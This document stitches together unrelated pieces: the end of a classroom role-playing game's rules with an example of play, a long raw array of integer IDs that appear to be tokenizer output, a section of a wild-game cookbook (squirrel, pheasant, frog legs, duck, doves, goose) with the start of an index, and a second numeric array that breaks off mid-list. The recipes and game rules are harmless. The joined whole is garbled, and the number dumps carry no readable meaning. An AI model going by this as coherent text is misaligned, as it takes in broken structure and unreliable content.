days,weeks, or months later. It is best if it follows the natural consequences of Bill’s actions. It is a good idea to move from disaster to disaster. Nothing is more boring than “They lived happily ever after.” ENDING THE GAME The game lasts one to two hours or to whenever the GM or players think they have told a complete story. Since this is a game about life it usually won’t have a clear ending, that only happens in plays. DEBRIEFING If you are running this game in school then don’t make it last more than half an hour and then do a half hour debriefing session during which the player talk about what they learned. Research shows that this is where the real learning of the game occurs. THE ROLL OF THE GM The GM makes up scenes and consequences but just as important to a fun game is that they keep things moving. The GM needs to be very directive. They ask the first person what their thought is. They ask the next player “Respond or challenge?” When players need to roll, the GM asks them to “Roll!” A good GM can keep the game moving quickly, which keeps everyone’s energy up. Let the pace slow and the game will die. If a player can’t make up their mind then skip them and come back later. TABLES AND PLAY AIDS Resist Supression: 5+ resist supression Challenge: High roller wins, re-roll ties. 3rd Round No: 10+ to supress the fantasy Re-Roll Tokens: Pay a token to get a re-roll or force someone else to re-roll You get a re-roll token if someone makes you make a supression roll or if you lose a challenge. You may also get one for passing in the 2nd and 3rd time around the table. EXAMPLE OF PLAY The players are sitting around the table: Romeo, Othello, Hamlet, Lady Macbeth, King Leer, and Falstaff Setting the scene: GM: Bill goes to the school office on the first day of class. The nerd is suppose to guide him around but doesn’t. Bill ends up coming into class late. Everyone (including the cute girl) is staring at him. The teacher asks him why he is late… Who wants to go first? Hamlet volunteers. Hamlet: Bill mumbles something and sits down. GM: Next! Lady Macbeth: Yes and the class laughs at me and I feel horrible. I’m such a loser. Falstaff: I object. I’m no loser. GM: Roll! Lady Macbeth rolls a 5 so her thought is not repressed. She then collects a re-roll token. King Leer: Yes and the cheerleader tells the jock to be nice so I think she likes me. I feel good again. GM: Next! Falstaff: Yes and I try to resurrect my social death by making a smartass remark to the teacher.
[ 17426, 13, 39177, 187, 187, 12136, 37232, 15, 7043, 187, 187, 8313, 37232, 15, 2806, 13835, 187, 187, 14674, 271, 21635, 13, 49441, 187, 187, 18, 502, 710, 17426, 13, 39177, 187, 187, 20, 32481, 661, 44699, 13, 17513, 187, 187, 19, 39033, 13, 49441, 187, 187, 8313, 37232, 15, 29900, 1247, 80, 187, 187, 8313, 37232, 15, 13860, 32410, 187, 187, 18, 15, 28553, 37233, 1661, 16575, 285, 2624, 715, 9417, 7437, 15, 187, 187, 19, 15, 46752, 28140, 13, 2716, 271, 21635, 13, 17426, 502, 710, 13, 7043, 13, 285, 13835, 275, 247, 3676, 11636, 15, 5733, 37233, 1661, 7437, 285, 2217, 1824, 281, 3835, 15, 1281, 1462, 323, 495, 3038, 15, 187, 187, 20, 15, 49855, 15, 13470, 275, 20725, 254, 1306, 11609, 15, 187, 187, 21, 15, 7233, 387, 28458, 3272, 39, 323, 1884, 2909, 15, 187, 187, 22, 15, 5733, 5780, 2716, 21635, 13, 17426, 502, 710, 13, 44699, 13, 39033, 13, 29900, 1247, 80, 285, 13860, 32410, 15, 20690, 342, 1824, 15, 20690, 253, 3199, 285, 11440, 12398, 1919, 14510, 15, 187, 187, 3246, 40555, 14, 1267, 54, 3269, 1703, 367, 1922, 1719, 5656, 187, 187, 48468, 721, 1296, 723, 187, 187, 510, 759, 40786, 275, 436, 13612, 823, 3081, 4688, 281, 1361, 1978, 253, 12621, 14241, 15, 187, 187, 19, 39720, 284, 1103, 187, 187, 21, 48883, 1033, 15, 10379, 13, 27072, 187, 187, 18, 158, 216, 230, 15107, 6079, 10238, 1531, 28134, 187, 187, 158, 216, 231, 5500, 759, 40786, 13, 820, 1032, 600, 17513, 187, 187, 19, 48883, 1033, 15, 12274, 187, 187, 12136, 37232, 15, 7043, 187, 187, 11199, 37232, 15, 2806, 13835, 187, 187, 21, 48883, 1033, 15, 10379, 187, 187, 18, 8313, 15107, 11152, 26425, 187, 187, 158, 216, 230, 5500, 256, 16210, 187, 187, 18, 15, 416, 38424, 39720, 284, 1103, 285, 869, 6079, 15, 187, 187, 19, 15, 46752, 577, 48883, 1033, 15, 27072, 10379, 13, 10238, 1531, 28134, 13, 285, 759, 40786, 13, 49488, 2366, 19679, 15, 659, 2066, 7802, 715, 39720, 284, 1103, 15, 1535, 1316, 281, 2810, 15, 187, 187, 20, 15, 46752, 12274, 13, 7043, 13, 285, 13835, 13, 285, 19679, 47865, 689, 39720, 284, 1103, 15, 187, 187, 21, 15, 353, 2585, 5780, 577, 48883, 1033, 15, 10379, 275, 247, 5536, 37548, 285, 8516, 1016, 39720, 10597, 327, 512, 7123, 15, 20460, 2642, 44977, 15, 23109, 39720, 284, 1103, 281, 247, 687, 14669, 3199, 15, 187, 187, 22, 15, 5733, 26425, 285, 256, 16210, 281, 253, 8516, 264, 10379, 285, 6531, 7802, 689, 11260, 15, 187, 187, 23, 15, 20690, 285, 32413, 387, 16176, 3272, 39, 323, 337, 4964, 15, 378, 4740, 11260, 342, 5558, 275, 253, 3199, 1046, 1458, 2909, 15, 20004, 253, 3835, 285, 4035, 17326, 323, 670, 1458, 2909, 390, 1919, 11260, 403, 8516, 264, 15, 187, 187, 24, 15, 20004, 39720, 284, 1103, 281, 247, 499, 2569, 285, 6531, 2642, 44977, 689, 11260, 281, 5752, 15, 187, 187, 15718, 48, 1843, 7499, 11840, 12838, 10339, 187, 187, 48468, 818, 1253, 25, 1296, 723, 187, 187, 1010, 40096, 9246, 187, 187, 20, 15107, 8463, 187, 187, 8313, 37232, 15, 17426, 11687, 187, 187, 18, 37232, 15, 13860, 32410, 187, 187, 8313, 37232, 15, 21635, 11687, 187, 187, 8313, 37232, 15, 260, 333, 22217, 13835, 187, 187, 27207, 273, 29900, 1247, 80, 187, 187, 40918, 281, 9075, 187, 187, 8313, 37232, 15, 2806, 13835, 187, 187, 8313, 5500, 12274, 187, 187, 18, 5500, 21436, 4166, 187, 187, 18, 15, 37019, 285, 4076, 40096, 9246, 973, 15, 13470, 9246, 275, 247, 12480, 11636, 15, 187, 187, 19, 15, 46752, 8463, 285, 17426, 11687, 15, 27808, 689, 9246, 15, 7567, 10389, 5034, 13463, 15, 187, 187, 20, 15, 2790, 9246, 6079, 15, 22347, 2366, 13860, 32410, 13, 21635, 11687, 13, 260, 333, 22217, 13, 29900, 1247, 80, 13, 7043, 13, 285, 2806, 13835, 15, 14474, 22064, 689, 253, 1755, 285, 5004, 273, 1016, 1791, 15, 187, 187, 21, 15, 10315, 314, 12274, 253, 40096, 9246, 15, 22512, 4166, 275, 247, 5536, 37548, 285, 39622, 1919, 14072, 8516, 15, 187, 187, 6764, 11840, 12838, 10339, 9277, 12041, 54, 4339, 187, 187, 48468, 577, 1253, 23, 1296, 723, 187, 187, 25, 40096, 9246, 187, 187, 40918, 281, 9075, 187, 187, 68, 333, 22217, 13835, 281, 9075, 187, 187, 5209, 663, 7043, 281, 9075, 187, 187, 251, 279, 7043, 281, 9075, 187, 187, 81, 522, 32410, 281, 9075, 187, 187, 1258, 454, 281, 11959, 9246, 187, 187, 12136, 5500, 21436, 4166, 187, 187, 23, 48883, 1033, 15, 12274, 187, 187, 18, 4646, 21635, 13, 25530, 6906, 187, 187, 19, 40466, 17426, 13, 39177, 187, 187, 1036, 23621, 15, 476, 24806, 187, 187, 18, 15, 37019, 285, 4076, 40096, 9246, 15, 187, 187, 19, 15, 14474, 22064, 10875, 595, 342, 7043, 13, 260, 333, 22217, 13835, 13, 17426, 285, 21635, 26793, 13, 285, 13860, 32410, 15, 187, 187, 20, 15, 21508, 275, 12274, 15, 187, 187, 21, 15, 22512, 4166, 275, 247, 5536, 37548, 285, 39622, 253, 9246, 15, 187, 187, 22, 15, 20004, 253, 18621, 40096, 9246, 281, 499, 2569, 285, 1978, 5890, 15, 20460, 24142, 5500, 4166, 275, 37548, 15, 5733, 12274, 281, 4166, 285, 10576, 1919, 14072, 8516, 15, 187, 187, 23, 15, 5733, 25530, 27408, 285, 39177, 17426, 285, 4417, 1919, 2602, 15, 187, 187, 24, 15, 7306, 2345, 24806, 285, 823, 281, 37548, 15, 187, 187, 25, 15, 5733, 1824, 281, 6799, 15274, 285, 2952, 4122, 15, 16140, 40096, 9246, 281, 12364, 275, 37548, 285, 4417, 884, 625, 2909, 15, 187, 187, 13935, 17643, 35049, 7519, 187, 187, 48468, 577, 1296, 723, 187, 187, 19, 46495, 187, 187, 8313, 5500, 313, 18, 7356, 10, 10379, 13, 27072, 187, 187, 40918, 281, 9075, 187, 187, 11958, 13835, 281, 9075, 187, 187, 81, 522, 32410, 281, 9075, 187, 187, 18, 21635, 187, 187, 18, 19126, 187, 187, 19, 32481, 661, 44699, 187, 187, 19, 17699, 6505, 187, 187, 19, 29855, 22486, 187, 187, 12022, 1824, 187, 187, 18, 15, 28553, 46495, 285, 869, 6079, 15, 187, 187, 19, 15, 2652, 2345, 342, 24142, 5500, 27072, 10379, 15, 187, 187, 20, 15, 14474, 22064, 7043, 13, 13835, 13, 285, 13860, 32410, 327, 3345, 273, 27985, 285, 3304, 697, 13369, 15, 187, 187, 21, 15, 18665, 21635, 285, 19126, 275, 2716, 15, 13470, 2716, 271, 21635, 13, 2716, 271, 19126, 13, 581, 33587, 44699, 13, 285, 581, 17699, 10617, 275, 253, 13369, 273, 1016, 27985, 15, 187, 187, 22, 15, 13470, 11705, 273, 29855, 689, 1016, 27985, 5988, 15, 13470, 46495, 275, 247, 17326, 11609, 15, 187, 187, 23, 15, 5733, 3511, 1824, 281, 3835, 253, 5004, 273, 11609, 15, 187, 187, 24, 15, 43109, 6107, 387, 16176, 3272, 39, 323, 374, 1253, 20, 3038, 390, 1919, 14510, 15, 914, 16484, 1309, 253, 1390, 1458, 1253, 938, 2909, 273, 12398, 673, 281, 1581, 46495, 281, 8516, 15, 399, 9984, 403, 2218, 672, 247, 2624, 875, 253, 1791, 285, 2133, 2722, 326, 253, 44253, 642, 3356, 1408, 14863, 15, 187, 187, 25, 15, 20004, 46495, 432, 3199, 285, 8085, 275, 2716, 2978, 3020, 15, 15292, 472, 5017, 272, 1078, 9417, 15, 187, 187, 4741, 1400, 14, 13935, 17643, 1703, 399, 4741, 1410, 187, 187, 48468, 721, 1296, 723, 187, 187, 8313, 37232, 15, 7043, 187, 187, 11199, 37232, 15, 13835, 187, 187, 18, 5500, 12274, 187, 187, 805, 513, 1634, 187, 187, 306, 788, 494, 4166, 187, 187, 18, 5500, 4759, 27408, 13, 17513, 187, 187, 18, 5500, 11152, 26425, 187, 187, 18, 5500, 256, 16210, 187, 187, 20, 48883, 1033, 15, 38955, 13, 17513, 187, 187, 18, 15, 2071, 423, 2366, 7043, 13, 13835, 13, 285, 12274, 15, 399, 433, 463, 513, 1634, 275, 7802, 15, 187, 187, 19, 15, 496, 247, 5536, 13986, 14195, 13, 8516, 11260, 275, 21436, 4166, 689, 4646, 4250, 15, 187, 187, 20, 15, 2091, 512, 403, 8516, 264, 13, 12657, 512, 533, 374, 48883, 1033, 15, 4166, 432, 3199, 15, 187, 187, 21, 15, 13470, 513, 1634, 896, 275, 13986, 14195, 15, 5733, 27408, 285, 11152, 26425, 15, 187, 187, 22, 15, 43109, 387, 16176, 3272, 39, 323, 670, 337, 8313, 3038, 15, 2732, 253, 806, 1884, 2909, 13, 823, 253, 256, 16210, 15, 378, 4740, 2067, 2069, 342, 3199, 44253, 15, 187, 187, 23, 15, 14474, 22064, 342, 17513, 38955, 281, 5752, 15, 187, 187, 1311, 5529, 35, 14, 5915, 11657, 16636, 17643, 399, 19252, 187, 187, 48468, 495, 1253, 21, 1296, 723, 187, 187, 23, 513, 1634, 187, 187, 20, 37232, 15, 7043, 187, 187, 11199, 5500, 17972, 4166, 187, 187, 12136, 5500, 4030, 6079, 10238, 1531, 28134, 187, 187, 8313, 37232, 15, 1531, 16630, 29900, 1247, 80, 187, 187, 11199, 37232, 15, 2806, 13835, 187, 187, 19, 40466, 17426, 13, 39177, 187, 187, 21, 8689, 17638, 38955, 13, 25806, 17513, 13, 390, 337, 37232, 15, 14245, 38955, 187, 187, 8313, 5500, 1824, 187, 187, 20, 48883, 1033, 15, 465, 11429, 484, 187, 187, 20, 48883, 1033, 15, 1824, 187, 187, 18, 15, 23077, 602, 314, 4076, 513, 1634, 285, 869, 6079, 15, 187, 187, 19, 15, 14474, 22064, 342, 7043, 285, 16463, 342, 17972, 4166, 15, 20460, 667, 5780, 4166, 15, 187, 187, 20, 15, 46752, 10238, 1531, 28134, 13, 29900, 1247, 80, 13, 13835, 13, 17426, 13, 285, 38955, 15, 1176, 10841, 600, 11959, 253, 3345, 273, 1016, 38688, 342, 1531, 3561, 7802, 15, 313, 2632, 4003, 667, 5780, 1531, 3561, 7802, 2698, 1780, 6324, 513, 1634, 275, 247, 1781, 13738, 833, 17326, 3199, 15, 187, 187, 21, 15, 27808, 24142, 5500, 1824, 275, 5004, 273, 17326, 3199, 15, 187, 187, 22, 15, 46752, 465, 11429, 484, 13, 495, 48883, 1033, 15, 1824, 13, 285, 667, 5780, 17972, 4166, 285, 1531, 28134, 15, 27808, 689, 11260, 15, 187, 187, 23, 15, 20690, 342, 27204, 285, 37092, 387, 16176, 3272, 39, 323, 374, 3038, 390, 1919, 513, 1634, 403, 14510, 15, 5733, 247, 1355, 2408, 273, 1824, 281, 253, 3199, 604, 3058, 281, 1978, 11260, 432, 17326, 6079, 15, 187, 187, 13935, 17643, 411, 21247, 443, 4985, 2354, 187, 187, 48468, 374, 1253, 21, 1296, 723, 187, 187, 18, 4956, 44165, 187, 187, 158, 216, 230, 5500, 28140, 187, 187, 18, 8313, 15107, 6079, 3168, 2829, 8995, 187, 187, 7589, 547, 273, 374, 458, 23787, 187, 187, 7589, 547, 273, 337, 13735, 187, 187, 18, 1355, 21635, 13, 25530, 187, 187, 158, 216, 238, 37232, 15, 5825, 33373, 187, 187, 18, 17699, 10617, 187, 187, 19, 32481, 661, 44699, 342, 6505, 187, 187, 20, 8689, 17638, 38955, 13, 390, 337, 37232, 15, 14245, 38955, 187, 187, 40918, 285, 13835, 281, 9075, 187, 187, 19, 28580, 187, 187, 18, 15, 28553, 44165, 285, 869, 6079, 15, 187, 187, 19, 15, 496, 247, 1781, 11636, 13, 13398, 28140, 13, 8995, 13, 18616, 14709, 13, 13735, 14709, 13, 21635, 13, 5825, 33373, 13, 17699, 10617, 13, 44699, 6505, 13, 285, 38955, 15, 13470, 44165, 275, 2304, 249, 796, 285, 1339, 1462, 323, 495, 1253, 21, 3038, 13, 8577, 7208, 15, 187, 187, 20, 15, 20004, 44165, 432, 2304, 249, 796, 285, 7692, 13369, 342, 7043, 285, 13835, 15, 187, 187, 21, 15, 13470, 28580, 285, 44699, 32481, 661, 3304, 44165, 15, 1535, 1316, 44165, 285, 1659, 5988, 14, 2189, 598, 275, 247, 687, 14669, 3199, 15, 187, 187, 22, 15, 49901, 323, 1384, 2909, 387, 20156, 3272, 39, 13, 840, 1614, 44165, 5988, 14, 2189, 1066, 13, 3835, 3199, 13, 2406, 4250, 281, 16176, 3272, 39, 13, 285, 4035, 687, 14669, 323, 337, 1253, 18, 8313, 3038, 390, 1919, 14510, 15, 378, 4740, 13949, 342, 2304, 249, 796, 285, 3199, 2642, 44977, 15, 187, 6060, 187, 187, 34, 187, 187, 34, 1871, 8594, 13, 187, 187, 2422, 9456, 48493, 17742, 13, 187, 187, 2422, 9456, 84, 187, 187, 2422, 9456, 48493, 17742, 13, 187, 187, 27315, 66, 13089, 434, 1219, 9456, 49158, 13, 187, 187, 8096, 13256, 20717, 44323, 13, 187, 187, 33818, 2921, 571, 13, 187, 187, 1145, 324, 2902, 45782, 13, 187, 187, 22284, 1241, 327, 27950, 2135, 13, 187, 187, 2946, 292, 14460, 285, 11982, 7305, 187, 187, 22284, 1241, 327, 27950, 2135, 13, 187, 187, 22552, 324, 16078, 30112, 84, 13, 187, 187, 11796, 469, 3136, 43714, 25399, 4420, 13, 187, 187, 35, 11660, 43267, 33507, 13, 187, 187, 11478, 4206, 3586, 50166 ]	garlic, minced ¾ tsp. salt ½ tsp. black pepper half an onion, diced 1 clove garlic, minced 3 stalks celery, chopped 2 carrots, diced ½ tsp. oregano ½ tsp. paprika 1. Wash squirrel thoroughly and cut into serving pieces. 2. Combine vinegar, half an onion, garlic clove, salt, and pepper in a deep bowl. Add squirrel pieces and enough water to cover. Let stand for 3 hours. 3. Drain. Place in casserole dish. 4. Brown at 375°F for 30 minutes. 5. Add remaining half onion, garlic clove, celery, carrots, oregano and paprika. Cover with water. Cover the pan and continuing cooking until tender. PECAN-STUFFED PHEASANT Makes 6 servings The pecans in this recipe add additional fat to help keep the bird moist. 2 pheasants 4 Tbsp. butter, melted 1⅓ cups dry bread crumbs ⅔ cup pecans, coarsely chopped 2 Tbsp. flour ¾ tsp. salt ¼ tsp. black pepper 4 Tbsp. butter 1½ cups chicken broth ⅓ cup sherry 1. Rinse pheasants and pat dry. 2. Combine 4 Tbsp. melted butter, bread crumbs, and pecans, tossing together lightly. Stuff mixture into pheasants. Truss to close. 3. Combine flour, salt, and pepper, and lightly sprinkle over pheasants. 4. Melt remaining 4 Tbsp. butter in a heavy skillet and brown each pheasant on all sides. Reserve drippings. Transfer pheasants to a roasting pan. 5. Add broth and sherry to the browned butter and pour mixture over birds. 6. Cover and bake at 350°F for 1 hour. Baste birds with liquid in the pan every 15 minutes. Remove the cover and continue baking for about 15 minutes or until birds are browned. 7. Remove pheasants to a platter and pour drippings over birds to serve. CREOLE FROG LEGS Makes 7–8 servings 15 frog legs 3 cups milk ½ tsp. garlic powder 1 tsp. paprika ½ tsp. onion powder ½ tsp. cayenne pepper dash of oregano salt to taste ½ tsp. black pepper ½ cup flour 1 cup vegetable oil 1. Skin and clean frog legs well. Place legs in a mixing bowl. 2. Combine milk and garlic powder. Pour over legs. Refrigerate overnight. 3. Pat legs dry. Mix together paprika, onion powder, cayenne, oregano, salt, and black pepper. Sprinkle over the top and bottom of each leg. 4. Lightly flour the frog legs. Heat oil in a heavy skillet and fry until golden brown. FROG LEGS WITH SAUCE Makes 4–6 servings 8 frog legs salt to taste cayenne pepper to taste garlic salt to taste onion salt to taste paprika to taste flour to coat legs ¾ cup vegetable oil 6 Tbsp. flour 1 medium onion, sliced thin 2 cloves garlic, minced 16 oz. can tomatoes 1. Skin and clean frog legs. 2. Sprinkle liberally with salt, cayenne pepper, garlic and onion salts, and paprika. 3. Roll in flour. 4. Heat oil in a heavy skillet and fry the legs. 5. Remove the cooked frog legs to platter and keep warm. Reserve ½ cup oil in skillet. Add flour to oil and stir until golden brown. 6. Add sliced onions and minced garlic and cook until soft. 7. Crush tomatoes and add to skillet. 8. Add water to desired consistency and season highly. Return frog legs to sauce in skillet and cook 10 more minutes. ROAST DUCK Makes 4 servings 2 ducks ½ cup (1 stick) butter, melted salt to taste black pepper to taste paprika to taste 1 onion 1 apple 2 stalks celery 2 bay leaves 2 bacon strips hot water 1. Wash ducks and pat dry. 2. Brush with ½ cup melted butter. 3. Sprinkle salt, pepper, and paprika on outside of duck and inside its cavity. 4. Cut onion and apple in half. Place half an onion, half an apple, one stalk celery, and one bay leaf in the cavity of each duck. 5. Place strip of bacon over each duck breast. Place ducks in a baking dish. 6. Add hot water to cover the bottom of dish. 7. Bake covered at 350°F for 2–3 hours or until tender. Uncover during the last 15–20 minutes of cooking time to allow ducks to brown. Ducks are done when a cut between the leg and body shows that the juices no longer run pink. 8. Remove ducks from pan and split in half lengthwise. Discard stuffing before serving. OVEN-ROASTED DOVES Makes 6 servings ½ tsp. salt ¼ tsp. pepper 1 cup flour 12 doves vegetable oil 1 cup green onions, chopped 1 cup chicken broth 1 cup sherry 3 Tbsp. parsley, chopped 1. Blend together salt, pepper, and flour. Dredge doves in mixture. 2. In a heavy Dutch oven, brown birds in vegetable oil over medium heat. 3. When all are browned, drain all but 2 Tbsp. oil from pan. 4. Place doves back in Dutch oven. Add onions and chicken broth. 5. Bake at 350°F for about 1½ hours. After the first 30 minutes, add the sherry. Baste several times with pan juices. 6. Sprinkle with chopped parsley to serve. CRUMB-COATED ROAST DOVE Makes 3–4 servings 6 doves 3 tsp. salt ¼ cup olive oil ¾ cup fine dry bread crumbs ½ tsp. crumbled oregano ¼ tsp. black pepper 2 cloves garlic, minced 4 sprigs parsley, finely chopped, or 1 tsp. dried parsley ½ cup water 3 Tbsp. ketchup 3 Tbsp. water 1. Thoroughly clean doves and pat dry. 2. Sprinkle with salt and brush with olive oil. Reserve any remaining oil. 3. Combine bread crumbs, oregano, pepper, garlic, and parsley. Completely coat the outside of each dove with crumb mixture. (Reserve any remaining crumb mixture.) Arrange doves in a large greased baking pan. 4. Pour ½ cup water in bottom of baking pan. 5. Combine ketchup, 3 Tbsp. water, and any remaining olive oil and crumbs. Pour over birds. 6. Cover with foil and roast at 350°F for 2 hours or until doves are tender. Add a small amount of water to the pan if needed to keep birds from baking dry. ROAST WILD GOOSE Makes 2–4 servings 1 wild goose ⅓ cup vinegar 1½ cups dry white table wine juice of 2 lemons juice of 1 orange 1 small onion, sliced ⅛ tsp. nutmeg 1 bay leaf 2 stalks celery with leaves 3 sprigs parsley, or 1 tsp. dried parsley salt and pepper to taste 2 apples 1. Wash goose and pat dry. 2. In a large bowl, combine vinegar, wine, lemon juice, orange juice, onion, nutmeg, bay leaf, celery leaves, and parsley. Place goose in marinade and let stand for 3–4 hours, turning frequently. 3. Remove goose from marinade and rub cavity with salt and pepper. 4. Place apples and celery stalks inside goose. Truss goose and place breast-side up in a roasting pan. 5. Sear for 20 minutes at 450°F, then turn goose breast-side down, cover pan, lower heat to 350°F, and continue roasting for 1–1½ hours or until tender. Baste occasionally with marinade and pan drippings. Index A A'dobe, Almond Crescents, Almonds Almond Crescents, Norma Jean's Almond Cookies, Amalgamation Cake, Ambrosia, Anadama Bread, Angels on Horseback, Appetizers and Snacks Angels on Horseback, Armadillo Eggs, Artichoke Cheese Squares, Bacon Chestnuts, Boiled Peanuts
[ 187, 50272, 3, 1156, 16, 2974, 1381, 544, 187, 50271, 3, 29, 2154, 13544, 79, 995, 187, 50271, 3, 29, 4826, 660, 11802, 13544, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 246, 2915, 492, 289, 27, 7483, 14, 1171, 14, 881, 1926, 79, 995, 187, 50271, 3, 50270, 26806, 14, 8623, 27, 4766, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 246, 2915, 492, 289, 1926, 79, 995, 187, 50271, 3, 50270, 26806, 14, 8623, 27, 1755, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 253, 324, 289, 1926, 79, 995, 187, 50271, 3, 50270, 1156, 14, 8623, 27, 987, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 43781, 4826, 13544, 79, 995, 187, 50271, 3, 29, 2420, 5680, 21655, 18, 10632, 966, 21655, 2203, 6301, 61, 1138, 61, 79, 995, 187, 50271, 3, 50276, 29, 45826, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 3740, 21655, 1156, 14, 8623, 27, 987, 7405, 1138, 61, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 12787, 7025, 64, 856, 5830, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 5672, 64, 1968, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 13408, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 2915, 64, 1156, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 1156, 64, 5025, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 1913, 64, 25340, 64, 11546, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 19751, 64, 4698, 64, 11546, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 12982, 64, 19751, 870, 394, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 2618, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50276, 870, 45826, 13544, 79, 995, 187, 50271, 3, 50276, 29, 30892, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 19042, 1047, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 17, 15, 3547, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 4947, 280, 16879, 15820, 22658, 390, 22258, 32, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 688, 619, 16879, 1533, 627, 403, 643, 643, 2197, 850, 15820, 16280, 7497, 15, 3808, 273, 731, 403, 12114, 19164, 31875, 390, 387, 1878, 417, 347, 1846, 275, 17068, 6281, 15, 1623, 253, 643, 1133, 13, 309, 452, 671, 2908, 625, 5899, 15820, 751, 1045, 1634, 15, 309, 1353, 1469, 281, 50276, 25674, 970, 1045, 1634, 323, 619, 1650, 15, 22469, 13, 309, 452, 3597, 281, 1691, 247, 3367, 5508, 327, 253, 1045, 1634, 285, 417, 816, 3491, 14, 23164, 731, 432, 308, 16537, 1914, 390, 9825, 2010, 15, 3353, 79, 6080, 2811, 2112, 253, 1039, 13, 309, 8156, 326, 309, 812, 1818, 731, 281, 320, 667, 643, 5492, 309, 751, 1223, 24843, 1051, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 1166, 2227, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5653, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 22130, 1671, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 17, 15, 1967, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 14463, 953, 273, 15350, 45762, 428, 14703, 656, 272, 35555, 26940, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 42, 27753, 326, 436, 1953, 476, 2965, 275, 253, 7990, 273, 3367, 4743, 533, 309, 717, 2819, 323, 1633, 11859, 15, 3353, 79, 17534, 2223, 13, 417, 760, 327, 436, 2670, 533, 643, 4028, 2905, 4375, 13, 309, 1089, 952, 11485, 1333, 326, 2176, 4633, 4477, 403, 13, 275, 6612, 13, 3076, 11597, 15, 2053, 2486, 253, 13052, 273, 500, 15, 44, 15, 15784, 1981, 13, 5682, 7233, 13, 19717, 3643, 47193, 13, 3966, 15, 1720, 3743, 2491, 432, 5884, 7484, 11385, 281, 1146, 1512, 48656, 15, 1723, 13, 326, 943, 417, 4555, 320, 2032, 390, 943, 2581, 320, 5884, 34584, 1841, 347, 258, 1051, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 740, 4148, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5653, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50276, 870, 30892, 13544, 79, 995, 187, 50271, 43781, 2420, 13544, 79, 995, 187, 50271, 43781, 2154, 21760, 187, 50272, 1092, 187, 50272, 3, 1156, 16, 19104, 1381, 544, 187, 50271, 3, 50271, 12787, 7025, 64, 856, 5830, 50276, 5672, 64, 1968, 50276, 45677, 79, 995, 187, 50271, 3, 2618, 50254, 50270, 50276, 393, 79, 995, 187, 50271, 3, 19042, 1047, 50265, 17, 15, 3547, 50270, 5088, 50275, 61, 79, 995, 187, 50271, 3, 22130, 1671, 50265, 17, 15, 1967, 50270, 5088, 50275, 61, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50254, 50254, 50275, 13408, 50276, 45677, 79, 995, 187, 50271, 3, 2618, 50254, 50254, 50270, 393, 79, 995, 187, 50271, 3, 19042, 1047, 50264, 4947, 280, 16879, 15820, 22658, 390, 22258, 32, 50275, 61, 79, 995, 187, 50271, 3, 22130, 1671, 50276, 14463, 953, 273, 15350, 45762, 428, 14703, 656, 272, 35555, 26940, 50275, 61, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 